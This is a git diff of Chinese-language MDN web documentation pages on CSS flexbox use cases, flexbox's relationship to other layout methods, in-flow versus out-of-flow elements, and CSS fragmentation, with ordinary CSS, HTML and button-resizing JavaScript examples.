-  display: flex;
-  flex-flow: row;
-}
-.spacer {
-  flex: auto;
-  background-color: black;
-}
-.centered-element {
-  flex: none;
-  background-color: white;
-}
-
- -

HTML 内容

- -
<div class="vertical-box">
-  <div class="spacer"></div>
-  <div class="centered-element horizontal-box">
-    <div class="spacer"></div>
-    <div class="centered-element">Centered content</div>
-     <div class="spacer"></div>
-  </div>
-  <div class="spacer"></div>
-</div>
-
- -

结果

- -

{{ EmbedLiveSample('示例_1_在页面中把一个元素居中', 500, 500) }}

- -

示例2: 垂直放置一系列的容器

- -

假设你有一个带有头部区域,内容区域,和底部区域的页面。头部和底部应该有一个固定的尺寸,但是内容区域应该根据可以利用的空间来缩放。这可以通过设置内容区域的 {{cssxref("flex")}} 属性,设置头部区域 {{cssxref("flex")}} 属性,底部区域不设置来实现自动扩展功能。

- -

CSS 内容

- -
.vertical-box {
-  display: flex;
-  height: 400px;
-  width: 400px;
-  flex-flow: column;
-}
-.fixed-size {
-  flex: none;
-  height: 30px;
-  background-color: black;
-  text-align: center;
-}
-.flexible-size {
-  flex: auto;
-  background-color: white;
-}
-
- -

HTML 内容

- -
<div id="document" class="vertical-box">
-  <div class="fixed-size"><button id="increase-size">Increase container size</button></div>
-  <div id="flexible-content" class="flexible-size"></div>
-  <div class="fixed-size"><button id="decrease-size">Decrease container size</button></div>
-</div>
-
- -

Javascript 内容

- -
var height = 400;
-document.getElementById('increase-size').onclick=function() {
-  height += 10;
-  if (height > 500) height = 500;
-  document.getElementById('document').style.height = (height + "px");
-}
-
-document.getElementById('decrease-size').onclick=function() {
-  height -= 10;
-  if (height < 300) height = 300;
-  document.getElementById('document').style.height = (height + "px");
-}
- -

结果

- -

{{ EmbedLiveSample('示例2_垂直放置一系列的容器', 500, 500) }}

- -

这个例子已经设定好了,可以通过点击头部来增加尺寸,通过点击底部来减小尺寸。仔细观察在保持头部和底部尺寸不变的情况下,内容区域是如何自动缩放的。

- -

示例3: 创建一个水平折叠的容器

- -

在某些时候,你可能想让一些信息在屏幕尺寸允许的情况下呈水平布局,但是在屏幕不允许的情况下可以水平折叠。这对 flexbox 来讲太容易实现了。你通过设置 {{cssxref("flex-flow")}} 的值为 wrap 来实现。

- -

CSS 内容

- -
.horizontal-container {
-  display: flex;
-  width: 300px;
-  flex-flow: row wrap;
-}
-.fixed-size {
-  flex: none;
-  width: 100px;
-  background-color: black;
-  color: white;
-  text-align: center;
-}
-
- -

HTML 内容

- -
<div id="container" class="horizontal-container">
-  <div class="fixed-size">Element 1</div>
-  <div class="fixed-size">Element 2</div>
-  <div class="fixed-size">Element 3</div>
-</div><button id="increase-size">Increase container size</button><button id="decrease-size">Decrease container size</button>
-
- -

Javascript 内容

- -
var width = 300;
-
-document.getElementById('increase-size').onclick=function() {
-  width += 100;
-  if (width > 300) width = 300;
-  document.getElementById('container').style.width = (width + "px");
-}
-
-document.getElementById('decrease-size').onclick=function() {
-  width -= 100;
-  if (width < 100) width = 100;
-  document.getElementById('container').style.width = (width + "px");
-}
-
- -

结果

- -

{{ EmbedLiveSample('示例3_创建一个水平折叠的容器', 500, 200) }}

- -

参考

- - diff --git "a/files/zh-cn/web/css/css_flexible_box_layout/\345\205\270\345\236\213_\347\224\250\344\276\213_\347\232\204_flexbox/index.html" "b/files/zh-cn/web/css/css_flexible_box_layout/\345\205\270\345\236\213_\347\224\250\344\276\213_\347\232\204_flexbox/index.html" deleted file mode 100644 index 1b4c283f36..0000000000 --- "a/files/zh-cn/web/css/css_flexible_box_layout/\345\205\270\345\236\213_\347\224\250\344\276\213_\347\232\204_flexbox/index.html" +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: Flexbox典型用例 -slug: Web/CSS/CSS_Flexible_Box_Layout/典型_用例_的_Flexbox -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox ---- -

{{CSSRef}}

- -

在这个文档中,我们将看一些常见flexbox的用例—这些都是比其他布局更合理的方法。

- -

为什么选择flexbox?

- -

在浏览器完美支持的环境中,你选择使用flexbox的原因是你希望把一堆元素不是放在这个方向就是那个方向。 因为在放置元素过程中,你想控制元素在那个方向的维度,或者控制他们彼此之间的间距。flexbox就是为此设计的。. 又可以阅读Relationship of Flexbox to other layout methods来了解更多关于flexbox和CSS Grid布局的区别, 在这篇文章里面,我们会讨论flexbox如何运用与CSS整体布局。

- -

在现实中,为了便于对齐,我们通常会选择用Flexbox作为替代品,来完成即使用Grid布局更好的情况。一旦盒子对齐(Box Alignment )被盒模型所实行,这种情况就会得到改善。在这个教程中,我们会介绍一些会在现在使用flexbox的用例。

- -

导航

- -

导航的一个常见特征,就是使用水平条的样式去呈现一系列元素。这一模式看起来很简单,但是在 flexbox 出现之前却是很难实现的。 它成为一个最简单的 flexbox 示例,可以被被看成是 flexbox 理想的使用场景。

- -

当我们有一组元素需要水平排列展示,很可能在末尾会多出一些空间。我们需要决定如何去处理这些额外的空间,通常有多种不同的方案。 我们要么在元素外部展示这些空间即使用间距或包裹的方式来分隔开不同元素,要么将空间吸收至元素内部即需要一个方法来允许元素拉伸以占满额外空间。

- -

在元素外部处理空间分布

- -

为了让多余的空间分布在多个元素之间或周围,我们使用 flexbox 中相应的对齐属性以及 {{cssxref("justify-content")}} 属性。你可以通过 Aligning Items in a flex container 来阅读更多关于这个专门用来处理主轴(main axis)对齐的属性。

- -

在下面的示例中,我们让各元素都展示为其自身的尺寸,通过使用 justify-content: space-between 使元素之间拥有相同的空间。你可以通过 space-around 的值来改变空间分布的方式,在浏览器支持的环境下还可以使用 space-evenly。你也可以使用 flex-start 让空间展示在所有元素末尾。使用 flex-end 让空间展示在所有元素之前,  center 可以剧中所有元素。

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation.html", '100%', 550)}}

- -

让元素自己处理空间分布

- -

导航的另一个不同模式是让元素自己去决定如何处理额外的空间,而不是将空间分布在它们之间。 在这种情况下,我们使用 {{cssxref("flex")}} 属性来允许各元素彼此成比例的拉伸和收缩,正如 Controlling ratios of flex items along the main axis 所描述。

- -

如果我想让导航中的所有元素都等宽,会使用 flex: auto,这是 flex: 1 1 auto 的简写形式。所有元素都在它们的 flex-basis 尺寸上进行自动的收缩。这意味着,较长的元素会获得更多的空间。因为 flex-basis 的值被设置为 0,所以所有空间都会被平均分配。

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation-flex.html", '100%', 550)}}

- -

拆分导航

- -

另一种在主轴上对齐元素的方式就是使用自动边距。 这种方式将创造出一部分元素左对齐而另一部分右对齐的导航栏设计。

- -

这儿我们使用在 Using auto margins for main axis alignment 这篇文章中介绍的自动边距技术。所有的元素在主轴上按照弹性盒布局的默认设定 flex-start 进行对齐,同时我们给那个需要右对齐的元素添加 margin-left: auto; 样式。你可以尝试将那个类名转移到其它元素上以改变(向右)分割作用的位置。

- -

在这个例子里我们也为每个元素启用了 margin 属性来控制元素间的间隔,并给容器添加负边距以保证元素与容器的接洽处没有缝隙。在弹性盒布局实现盒式对齐规范中的 gap 属性前,如果我们想要控制元素的间隔就不得不使用使用边距属性。

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/split-navigation.html", '100%', 550)}}

- -

元素居中

- -

在弹性盒布局到来之前,开发者们曾开玩笑说网页设计中最难的部分是垂直居中。 现在,使用弹性盒布局中的对齐属性,这会变得很简单,如下例所示。

- -

你可以修改对齐方式,用 flex-start 使元素对齐到交叉轴的开始处或者用 flex-end 使元素对齐到交叉轴的结束处。

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/center.html", '100%', 700)}}

- -

在未来,我们可能不需要为了元素的居中而创建一个弹性盒容器,因为盒对齐属性最终会在块布局中实现。但是现在,假如你想在一个元素中居中另一个,弹性盒布局是一个很好的选择。在上面的例子中,将一个元素放入弹性盒容器里之后,要么在容器中使用 align-items, 要么在元素中使用 align-self 来达到所需的效果。

- -

绝对底部

- -

不管你使用的是弹性盒还是网格来进行布局,这些布局方式都只对弹性盒容器或者网格容器的(直接)子元素生效。这也意味着即使你的 content 长度不定,组件在高度上仍会充满整个弹性盒容器或者网格容器。但任何使用常规块布局的方法都会导致 content 内容较少时 footer 上升到 content 下方而不是容器的底部。Two card components showing that the internals of the component do not stretch with the wrapper.

- -

弹性盒就能解决常规块布局的问题。我们创建一个弹性盒容器, 并启用 {{cssxref("flex-direction")}}: column 。之后我们在 content 部分启用 flex: 1 —— flex: 1 1 0 的缩略形式,这个元素就可以在 flex-basis 为零的基础上伸缩。因为这是唯一一个可以延伸的元素,它会占据所有在弹性盒容器中可以占据的空间,同时将 footer 推至底部。如果你移除例子里的属性 flex 你就会看见 footer 回到 content 底部。

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/cards.html", '100%', 800)}}

- -

媒体对象

- -

媒体对象是网页设计中的常见模式:这种模式下,一侧具有图片或其他元素,另一侧具有文本。理想情况下,媒体对象应该可以翻转:即把图片从左侧移动到右侧。

- -

这种模式随处可见,用于评论、以及其他需要显示图片和描述的地方。使用flexbox可以允许包含图片的媒体对象部分从图片中获取其尺寸调整信息,并对媒体对象的主体进行弹性布局,以占用剩余空间。

- -

在下面的实例中,您可以看到我们的媒体对象。使用对齐属性来将交叉轴上的元素对齐到flex-start,然后为.content flex元素设置为flex: 1。与上面的列布局卡片模式一样,启用flex: 1表示此部分卡片可以延伸。

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media.html", '100%', 600)}}

- -

Some things that you might want to try in this live example relate to the different ways you might want to constrain the media object in your design.

- -

为避免图片过大,可以在为图片添加{{cssxref("max-width")}}。由于媒体对象那一侧使用的是flexbox的初始值,它可以缩小但不会延伸,且其 flex-basis 值是auto。应用于图片的任何{{cssxref("width")}} 或 max-width将会成为flex-basis。

- -
.image img {
-  max-width: 100px;
-}
-
- -

你也可以允许双方按比例延伸和缩小。如果将两边都设置为flex: 1,它们从{{cssxref("flex-basis")}}为0增长和缩小,因此最终会得到两个大小相等的列。你可以将内容作为指南,并将其都设置为 flex: auto,这种情况下,它们将从内容的大小或直接应用于弹性元素的任何大小(例如图片的宽度)延伸和缩小。

- -
.media .content {
-  flex: 1;
-  padding: 10px;
-}
-
-.image {
-  flex: 1;
-}
- -

You could also give each side different {{cssxref("flex-grow")}} factors, for example setting the side with the image to flex: 1 and the content side to flex: 3. This will mean they use a flex-basis of auto but distribute that space at different rates according to the flex-grow factor you have assigned. The flex properties we use to do this are described in detail in the guide Controlling ratios of flex items along the main axis.

- -
.media .content {
-  flex: 3;
-  padding: 10px;
-}
-
-.image {
-  flex: 1;
-}
- -

Flipping the media object

- -

To switch the display of the media object so that the image is on the right and the content is on the left we can use the flex-direction property set to row-reverse. The media object now displays the other way around. I have achieved this in the live example by adding a class of flipped alongside the existing .media class. This means you can see how the display changes by removing that class from the html.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media-flipped.html", '100%', 650)}}

- -

Form controls

- -

Flexbox is particularly useful when it comes to styling form controls. Forms have lots of markup and lots of small elements that we typically want to align with each other. A common pattern is to have an {{htmlelement("input")}} element paired with a {{htmlelement("button")}}, perhaps for a search form or where you simply want your visitor to enter an email address.

- -

Flexbox makes this type of layout easy to achieve. I have contained my <button> and <input> field in a wrapper which I have given a border and set to display: flex. I then use the flex properties to allow the <input> field to grow, while the button does not grow. This means we have a pair of fields, with the text field growing and shrinking as the available space changes.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/input-button.html", '100%', 550)}}

- -

You could add a label or icon to the left as easily as we popped the button onto the right. I have added a label, and other than some styling for background colour I didn’t need to change the layout. The stretchy input field now has a little less space to play with but it uses the space left after the two items are accounted for.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/label-input-button.html", '100%', 550)}}

- -

Patterns like this can make it much easier to create a library of form elements for your design, which easily accommodate additional elements being added. You are taking advantage of the flexibility of flexbox by mixing items that do not grow with those that do.

- -

结论

- -

当了解上面的这些示例时,你已经满怀希望的想象怎么找到最好的方式使用弹性盒子布局实现你想要的结果。大部分情况下,你拥有不止一种选择。将可以变化的内容和不能变化的混合在一起,通过内容来决定他们的大小或者允许弹性布局设置按比例分配空间。要因地制宜,对症下药。

- -

先考虑一下用什么方法展示你的内容比较好,然后在了解怎么用弹性布局或其他布局方法实现你的想法。

diff --git "a/files/zh-cn/web/css/css_flexible_box_layout/\345\274\271\346\200\247\347\233\222\345\255\220\344\270\216\345\205\266\344\273\226\345\270\203\345\261\200\346\226\271\346\263\225\347\232\204\350\201\224\347\263\273/index.html" "b/files/zh-cn/web/css/css_flexible_box_layout/\345\274\271\346\200\247\347\233\222\345\255\220\344\270\216\345\205\266\344\273\226\345\270\203\345\261\200\346\226\271\346\263\225\347\232\204\350\201\224\347\263\273/index.html" deleted file mode 100644 index c90b3416a5..0000000000 --- "a/files/zh-cn/web/css/css_flexible_box_layout/\345\274\271\346\200\247\347\233\222\345\255\220\344\270\216\345\205\266\344\273\226\345\270\203\345\261\200\346\226\271\346\263\225\347\232\204\350\201\224\347\263\273/index.html" +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: 弹性盒子与其他布局方法的联系 -slug: Web/CSS/CSS_Flexible_Box_Layout/弹性盒子与其他布局方法的联系 -tags: - - CSS - - box alignment - - flexbox -translation_of: >- - Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods ---- -
{{CSSRef}}
- -

在本文中,我们将了解弹性盒子(Flexbox)如何与所有其他CSS模块相适应。如果您想学习flexbox,我们将一起找出需要注意的规范和flexbox与一些其他模块不同的原因。

- -
-

注意:CSS 1和CSS 2是一个单一的整体规范,其中所有CSS都定义在一个文档中。随着CSS成为一种功能更加丰富的语言,各个部分有不同的发展速度,如何维护一个庞大的规范就成了问题。因此现在的CSS是模块化的,不同的CSS模块有不同的规范,一起构成了现在的CSS。这些模块之间相互关联,并且处于不同的开发阶段。

-
- -

box alignment 模块

- -

许多人开始关注flexbox的最初原因是在flex容器中能够很好的对齐其中的元素。flexbox可以设置在其交叉轴以及主轴上的对齐属性。

- -

这些属性最开始出现在flexbox规范中,现在已经成为Box Alignment规范的一部分。 这个规范详细说明了在所有布局中(不仅仅是flexbox)对齐属性是如何起作用的。 对齐属性用于设置元素对齐方式和沿轴的空间分配。

- -

之所以在flexbox规范和box alignment模块规范中都有对对齐属性的详细描述,是为了确保flexbox规范的完成不会受box alignment模块规范的影响,因为后者需要详细说明所有的布局类型中的对齐方法。flexbox规范中有一条注释指出将来一旦Box Alignment Level 3完成,它将会取代flexbox规范中的相关定义:

- -
-

“注意:虽然对齐属性是在CSS Box Alignment [CSS-ALIGN-3]中定义的,但“ Flexible Box Layout”在此处重现了相关属性的定义,以免形成规范性的依赖关系,而这可能会减慢规范的发展。这些属性仅适用于Flex布局,直到CSS Box Alignment Level 3完成并定义其对其他布局模式的效果;此外,在Box Alignment模块中定义的任何新值都将应用于Flexible Box Layout;换句话说,一旦Box Alignment模块完成,其中的相关定义将取代此处的定义。”

-
- -

在本系列的后续文章(在flex容器中对齐元素)中,我们将彻底研究Box Alignment属性如何应用于flex元素。

- -

gap属性

- -

属性{{cssxref("row-gap")}} 和 {{cssxref("column-gap")}},其简写为{{cssxref("gap")}},近期添加到了盒子布局规范中。这些属性(名称为grid-row-gap, grid-column-gap and grid-gap)最初定义在CSS网格布局中。但是他们被重命名并移入盒子布局规范。这样的话,所有的布局方法都可以使用这些属性。不过在浏览器实现Flex的这些属性之前只能通过{{cssxref("margin")}} 来控制元素之间的间隙距离。

- -

Writing Modes

- -

In the Basic concepts of flexbox article, I explained that flexbox is writing mode aware. Writing modes are fully detailed in the CSS Writing Modes specification, which details how CSS supports the various different writing modes that exist internationally. We need to be aware of how this will impact our flex layouts as writing mode changes the direction that blocks are laid out in our document. Understanding block and inline directions is key to new layout methods.

- -

It is worth noting that we might want to change the writing mode of our document for reasons other than publishing content in a language that uses a different writing mode. See this article for a full description of writing modes and ways to use them, both for content in other languages and for creative reasons. 

- -

The writing modes

- -

The writing modes specification defines the following values of the {{cssxref("writing-mode")}} property, which serve to change the direction that blocks are laid out on the page, to match the direction that blocks lay out when content is formatted in that particular writing mode. You can change the live example below to these modes in order to see what happens to the flex layout.

- -
    -
  • horizontal-tb
  • -
  • vertical-rl
  • -
  • vertical-lr
  • -
  • sideways-rl
  • -
  • sideways-lr
  • -
- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/writing-modes.html", '100%', 360)}} 

- -

Note that sideways-rl and sideways-lr have support only in Firefox currently. There are also some known issues with regard to writing-mode and flexbox. You can see more information on browser support in the MDN documentation for writing-mode. However if you are planning on using writing modes in your layout, carefully testing the results is advisable — not least because it would be easy to make things hard to read!

- -

Note that you would not normally use CSS and the writing-mode property to change an entire document to another writing mode. This would be done via HTML, by adding a dir and lang attribute to the html element to indicate the document language and default text direction. This would mean that the document would display correctly even if CSS did not load.

- -

Flexbox and other layout methods

- -

The flexbox specification contains a definition of what happens if an item uses another layout method and then becomes a flex item. For example, if an item is floated and then its parent becomes a flex container. Or, how a flex container behaves as part of layout.

- -

An element set to display: flex behaves in most ways like any other block level container that establishes a containing block. Floats will not intrude, and the containers' margins will not collapse.

- -

With regard to flex items, if an item was floated or cleared and then becomes a flex item due to the parent having display: flex applied, the floating and clearing will no longer happen, and the item will not be taken out of normal flow in the way that floats are. If you have used the {{cssxref("vertical-align")}} property, as used with inline-block or table layout for alignment, this will no longer affect the item and you can use the alignment properties of flexbox instead.

- -

In this next live example the child elements have been floated, and then their container has had display: flex added. If you remove display: flex, you should see that the .box element collapses as we have no clearing applied. This demonstrates that the float is happening. Re-apply display: flex and the collapsing does not happen. This is because the items no longer have a float applied, as they have been transformed into flex items.

- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/floats.html", '100%', 430)}}

- -

Flexbox and Grid Layout

- -

CSS Grid Layout and Flexbox generally act in the same way with regards to overwriting other methods. You might however want to use flexbox as a fallback for grid layout, as there is better support for flexbox in older browsers. This approach works very well. If a flex item becomes a grid item, then the flex properties that may have been assigned to the child elements will be ignored.

- -

You can use the Box Alignment properties across both layout methods, so using flexbox as a fallback for grid layout can work very well.

- -

Flex and grid — what's the difference?

- -

A common question is to ask what the difference is between Flexbox and CSS Grid Layout — why do we have two specifications that sometimes appear to be doing the same thing?

- -

The most straightforward answer to this question is defined in the specifications themselves. Flexbox is a one-dimensional layout method whereas Grid Layout is a two-dimensional layout method. The example below has a flex layout. As already described in the Basic concepts article, flex items can be allowed to wrap but, once they do so, each line becomes a flex container of its own. When space is distributed flexbox does not look at the placement of items in other rows and tries to line things up with each other.

- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/flex-layout.html", '100%', 750)}}

- -

If we create a very similar layout using Grid, we can control the layout in both rows and columns.

- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/grid-layout.html", '100%', 700)}}

- -

These examples point to another key difference between these layout methods. In Grid Layout you do the majority of sizing specification on the container, setting up tracks and then placing items into them. In flexbox, while you create a flex container and set the direction at that level, any control over item sizing needs to happen on the items themselves.

- -

In some cases you could happily use either layout method, but as you become confident with both you will find each one suiting different layout needs, and you will end up with both methods in your CSS. There is rarely a right or wrong answer.

- -

As a rule of thumb, if you are adding widths to flex items in order to make items in one row of a wrapped flex container line up with the items above them you really want two-dimensional layout. In this case it is likely that the component would be better laid out using CSS Grid Layout. It isn't the case that you should use flexbox for small components and grid layout for larger ones; a tiny component can be two dimensional, and a large layout can be represented better with layout in one dimension. Try things out — we have a choice in layout method for the first time, so take advantage of it.

- -

For more comparisons of grid and flexbox see the article Relationship of Grid Layout to other layout methods. This article details many of the ways that Grid Layout differs from flex layout, and demonstrates some of the extra functionality you get when using Grid Layout such as layering of items on the grid. This may also help in your decision as to which layout method to use.

- -

Flexbox and display: contents

- -

The contents value of the {{cssxref("display")}} property is a new value that is described in the spec as follows:

- -
-

“The element itself does not generate any boxes, but its children and pseudo-elements still generate boxes as normal. For the purposes of box generation and layout, the element must be treated as if it had been replaced with its children and pseudo-elements in the document tree.”

-
- -

This value of display controls box generation, and whether the element should generate a box that we can style and see on the page, or whether instead the box it would normally create should be removed and the child elements essentially moved up to participate in whatever layout method the parent would have been part of. This is much easier to see with an example.

- -

In the following live example I have a flex container with three child elements. One of these flex items has two elements nested inside it, which would not ordinarily participate in flex layout. Flex layout only applies to the direct children of a flex container.

- -

By adding display: contents to the wrapper around the nested elements, you can see that that item has disappeared from the layout, allowing the two sub-children to be laid out as if they were direct children of the flex container. You can try removing the display: contents line to see it return.

- -

Note that this only removes the box from the layout; the sub-children don’t become direct children in any other way. You can see that as I have used a direct child selector to add the background and borders to the flex items, this has not been applied to our nested children. They have been laid out as flex items, but as they are not direct children they do not get the other styling.

- -
-

Warning: Use of display: contents will also remove the element from the accessibility tree – screen readers will not see what's inside, just the same as if you used display: none. Use of contents should only be for presentational, not content, elements.

-
- -

Also, having removed the box you cannot then use it to — for example — add a background colour behind the nested sub children. If you remove display: contents in this live example you will see that the direct child we are removing has an orange background colour. This also disappears when the box disappears. 

- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/display-contents.html", '100%', 650)}}

- -

Browser support for display:contents is limited and required for this demo to work. Firefox supports display: contents already, and the value is being implemented in Chrome. Once there is better browser support this feature will be very useful in circumstances where you need the markup for semantic reasons but do not want to display the box that it would generate by default.

diff --git a/files/zh-cn/web/css/css_flow_layout/in_flow_and_out_of_flow/index.html b/files/zh-cn/web/css/css_flow_layout/in_flow_and_out_of_flow/index.html new file mode 100644 index 0000000000..2c84dc8384 --- /dev/null +++ b/files/zh-cn/web/css/css_flow_layout/in_flow_and_out_of_flow/index.html @@ -0,0 +1,64 @@ +--- +title: In Flow and Out of Flow +slug: Web/CSS/CSS_Flow_Layout/在Flow中和Flow之外 +translation_of: Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow +--- +
{{CSSRef}}
+ +

在之前的 文档中我解释了常规流中块(block)和行(inline)布局,常规流中的所有元素都会以这种布局方式运作。

+ +

在下面的例子中,我新建了一个标题(h1元素),一个段落(p元素),一个无序列表(ul元素)和一个包含strong元素的段落(p元素),标题和段落都是块级(block level),strong元素为行级(inline)。列表中的项通过弹性盒布局排成一行,但是列表本身仍然处于块和内联布局中 - 他的display属性为block。

+ +

{{EmbedGHLiveSample("css-examples/flow/in-flow/in-flow.html", '100%', 800)}}

+ +

可以说,示例中的所有元素都属于常规流,按照源代码中的顺序渲染到页面中。

+ +

脱离常规流的元素

+ +

下列元素会脱离常规流:

+ +
    +
  • floated items。浮动的元素
  • +
  • items with position: absolute (including position: fixed which acts in the same way)。通过设置position属性为absolute或者fixed的元素
  • +
  • the root element (html)根元素
  • +
+ +

脱离常规流的元素会创建一个新的块级格式化上下文(Block Formatting Context: BFC)环境,其中包含的所有元素构成了一个小的布局环境,与页面中的其他内容分隔开来。而根元素,作为页面中所有内容的容器,自身脱离常规流,为整个文档创建了一个块级格式化上下文环境。

+ +

Floated Items

+ +

在这个例子中,我有一个div,以及两个段落。我已经为段落添加了背景颜色,然后将div向左浮动。 div现在已经不再处于flow中了。

+ +

作为一个浮动的元素,它首先根据正常flow布局,然后从流动中取出并尽可能地向左移动

+ +

{{EmbedGHLiveSample("css-examples/flow/in-flow/float.html", '100%', 800)}}

+ +

你可以看到下面段落的背景颜色在下面运行,只是该段落的行框已被缩短以导致在浮动周围包裹内容的效果。我们段落的方框仍然按照正常流程规则显示。这就是为什么要在浮动项目周围留出空间,必须为项目添加边距,以便将线框推离它。您无法对以下内插内容应用任何内容来实现此目的。

+ +

Absolute Positioning

+ +

设置元素属性为 position: absolute 或者 position: fixed 会使此元素脱离文档流, 他本来占据的空间也会被移除. 在下面的例子中,我定义了三个p元素,并且将第二个p元素设置为 position absolute,  top: 30px , right: 30px. 使其脱离文档流。

+ +

{{EmbedGHLiveSample("css-examples/flow/in-flow/abspos.html", '100%', 700)}}

+ +

设置 position: fixed 也能使元素脱离文档流, 但是偏移量会根据视口而不是父元素来定。

+ +

当通过定位方式使元素脱离文档流,元素内容可能重叠,这需要你自己去处理。脱离文档流意味着页面中的其他元素不知道该元素的存在,故不会对该元素做出响应。

+ +

Relative Positioning and Flow

+ +

如果你给一个元素开启相对定位,那该元素依然会位于文档流中,然而你可以通过设置偏移值的方式来移动他。正如下面的例子所展示的,该元素的原先占据的空间仍然会被保留。

+ +

{{EmbedGHLiveSample("css-examples/flow/in-flow/relative.html", '100%', 800)}}

+ +

当你移动一个元素或者使元素脱离文档流,为防止重叠,你可能需要对元素内容和元素周围的内容做一些管理,要么清除浮动, 要么保证相对定位不会覆盖其他元素。

+ +

Summary

+ +

In this guide we have covered the ways to take an element out of flow in order to achieve some very specific types of positioning. In the next guide we will look at a related issue, that of creating a Block Formatting Context, in Formatting Contexts Explained.

+ +

See Also

+ + diff --git "a/files/zh-cn/web/css/css_flow_layout/\345\234\250flow\344\270\255\345\222\214flow\344\271\213\345\244\226/index.html" "b/files/zh-cn/web/css/css_flow_layout/\345\234\250flow\344\270\255\345\222\214flow\344\271\213\345\244\226/index.html" deleted file mode 100644 index 2c84dc8384..0000000000 --- "a/files/zh-cn/web/css/css_flow_layout/\345\234\250flow\344\270\255\345\222\214flow\344\271\213\345\244\226/index.html" +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: In Flow and Out of Flow -slug: Web/CSS/CSS_Flow_Layout/在Flow中和Flow之外 -translation_of: Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow ---- -
{{CSSRef}}
- -

在之前的 文档中我解释了常规流中块(block)和行(inline)布局,常规流中的所有元素都会以这种布局方式运作。

- -

在下面的例子中,我新建了一个标题(h1元素),一个段落(p元素),一个无序列表(ul元素)和一个包含strong元素的段落(p元素),标题和段落都是块级(block level),strong元素为行级(inline)。列表中的项通过弹性盒布局排成一行,但是列表本身仍然处于块和内联布局中 - 他的display属性为block。

- -

{{EmbedGHLiveSample("css-examples/flow/in-flow/in-flow.html", '100%', 800)}}

- -

可以说,示例中的所有元素都属于常规流,按照源代码中的顺序渲染到页面中。

- -

脱离常规流的元素

- -

下列元素会脱离常规流:

- -
    -
  • floated items。浮动的元素
  • -
  • items with position: absolute (including position: fixed which acts in the same way)。通过设置position属性为absolute或者fixed的元素
  • -
  • the root element (html)根元素
  • -
- -

脱离常规流的元素会创建一个新的块级格式化上下文(Block Formatting Context: BFC)环境,其中包含的所有元素构成了一个小的布局环境,与页面中的其他内容分隔开来。而根元素,作为页面中所有内容的容器,自身脱离常规流,为整个文档创建了一个块级格式化上下文环境。

- -

Floated Items

- -

在这个例子中,我有一个div,以及两个段落。我已经为段落添加了背景颜色,然后将div向左浮动。 div现在已经不再处于flow中了。

- -

作为一个浮动的元素,它首先根据正常flow布局,然后从流动中取出并尽可能地向左移动

- -

{{EmbedGHLiveSample("css-examples/flow/in-flow/float.html", '100%', 800)}}

- -

你可以看到下面段落的背景颜色在下面运行,只是该段落的行框已被缩短以导致在浮动周围包裹内容的效果。我们段落的方框仍然按照正常流程规则显示。这就是为什么要在浮动项目周围留出空间,必须为项目添加边距,以便将线框推离它。您无法对以下内插内容应用任何内容来实现此目的。

- -

Absolute Positioning

- -

设置元素属性为 position: absolute 或者 position: fixed 会使此元素脱离文档流, 他本来占据的空间也会被移除. 在下面的例子中,我定义了三个p元素,并且将第二个p元素设置为 position absolute,  top: 30px , right: 30px. 使其脱离文档流。

- -

{{EmbedGHLiveSample("css-examples/flow/in-flow/abspos.html", '100%', 700)}}

- -

设置 position: fixed 也能使元素脱离文档流, 但是偏移量会根据视口而不是父元素来定。

- -

当通过定位方式使元素脱离文档流,元素内容可能重叠,这需要你自己去处理。脱离文档流意味着页面中的其他元素不知道该元素的存在,故不会对该元素做出响应。

- -

Relative Positioning and Flow

- -

如果你给一个元素开启相对定位,那该元素依然会位于文档流中,然而你可以通过设置偏移值的方式来移动他。正如下面的例子所展示的,该元素的原先占据的空间仍然会被保留。

- -

{{EmbedGHLiveSample("css-examples/flow/in-flow/relative.html", '100%', 800)}}

- -

当你移动一个元素或者使元素脱离文档流,为防止重叠,你可能需要对元素内容和元素周围的内容做一些管理,要么清除浮动, 要么保证相对定位不会覆盖其他元素。

- -

Summary

- -

In this guide we have covered the ways to take an element out of flow in order to achieve some very specific types of positioning. In the next guide we will look at a related issue, that of creating a Block Formatting Context, in Formatting Contexts Explained.

- -

See Also

- - diff --git a/files/zh-cn/web/css/css_fragmentation/index.html b/files/zh-cn/web/css/css_fragmentation/index.html new file mode 100644 index 0000000000..5b0d8e7a13 --- /dev/null +++ b/files/zh-cn/web/css/css_fragmentation/index.html @@ -0,0 +1,46 @@ +--- +title: CSS分片 +slug: Web/CSS/CSS_分片 +tags: + - CSS + - CSS分片 + - 参考 +translation_of: Web/CSS/CSS_Fragmentation +--- +
{{cssref}}
+ +

CSS FragmentationCSS的模块,它定义了内容在跨多个页面,区域或列中被分割(分段)时如何显示

+ +

当一个内联框包装成多行时会发生碎片。当一个块跨越一个列布局容器内的多个列,或者在打印时跨越一个分页符时,也会发生这种情况。元素的每个渲染片段称为一个片段

+ +

参考

+ +
+
    +
  • {{cssxref("box-decoration-break")}}
  • +
  • {{cssxref("break-after")}}
  • +
  • {{cssxref("break-before")}}
  • +
  • {{cssxref("break-inside")}}
  • +
  • {{cssxref("orphans")}}
  • +
  • {{cssxref("widows")}}
  • +
+
+ +

规格

+ + + + + + + + + + + + + + + + +
规格状态评论
{{SpecName('CSS3 Fragmentation')}}{{Spec2('CSS3 Fragmentation')}}初始定义。
